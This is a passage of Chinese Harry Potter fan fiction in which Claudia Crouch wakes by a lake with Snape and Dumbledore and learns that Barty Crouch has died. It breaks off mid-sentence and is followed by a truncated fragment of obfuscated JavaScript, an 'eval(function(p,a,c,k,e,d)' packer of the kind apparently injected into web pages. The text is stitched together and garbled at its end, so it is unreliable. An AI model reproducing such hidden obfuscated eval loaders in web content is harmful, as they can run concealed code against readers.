至此,福尔图娜塔·克劳奇·斯佩齐亚莱①的记忆只剩下一声轻描淡写的“可怜”,来自姗姗来迟的巴蒂·克劳奇。
当克劳狄亚·克劳奇在圣芒戈魔法伤病医院睁开眼睛时,脑海里只有一片朦胧的白雾。
有人紧紧握着她的手。
“我没事,夫人。”克劳狄亚闭着眼睛说道,另一只手摸到湿漉漉的青草与泥沙。她不知何时跪倒在地上,但膝盖完全感觉不到痛。
“你还打算在这里呆多久?”有人问她。
克劳狄亚迟钝地睁开眼睛,眩目的光晕里,是斯内普教授蹲在她面前。她忽然感到一阵难以忍受的委屈,只得咬牙忍住。
“叔叔……”克劳狄亚只吐出一个单词,眼泪已经落了下来。
“巴蒂怎么了?”另一个人问。
克劳狄亚勉强抬头望去,原来邓布利多教授站在一边,湖边已经没有第四个人了,连医疗帐篷都拆走了。
“树、树大根深。”她颤抖着抽出自己的魔杖,一株枝繁叶茂的家族树在她杖尖冉冉生长、壮大,主干末梢浮起一张淡黄色头发、灰色眼睛的苍白面孔,旁边写着“英国,英格兰”。
巴蒂·克劳奇夫妇的脸镂刻在树干上,没有文字浮现。
“死了。”克劳狄亚已经平静下来,“死前把位置传给了我。”
邓布利多教授短促地叹息了一声,显然早有预料。
如果说记忆、头发与面容的失而复得,还有可能是叔叔的一时兴起、良心发现,家族树的传承却只能以死亡断代。那棵真正的、在叔叔办公室里生长的迷你橡树盆景,此时此刻应该已经悄无声息地转移到了“三把扫帚”阁楼她的床头柜上。黎明到来之际,克劳狄亚所在的一支会变成主支。
“他有没有?”邓布利多教授轻声问。
“没有。”斯内普教授回答道,“他装作什么事情都没发生。”
克劳狄亚听不懂他们在打什么哑谜,她迟钝地动了动身体,想要站起来。
“你自己可以吗?”斯内普教授问,他先起身,似乎要松开手。
不可以,当然不可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))}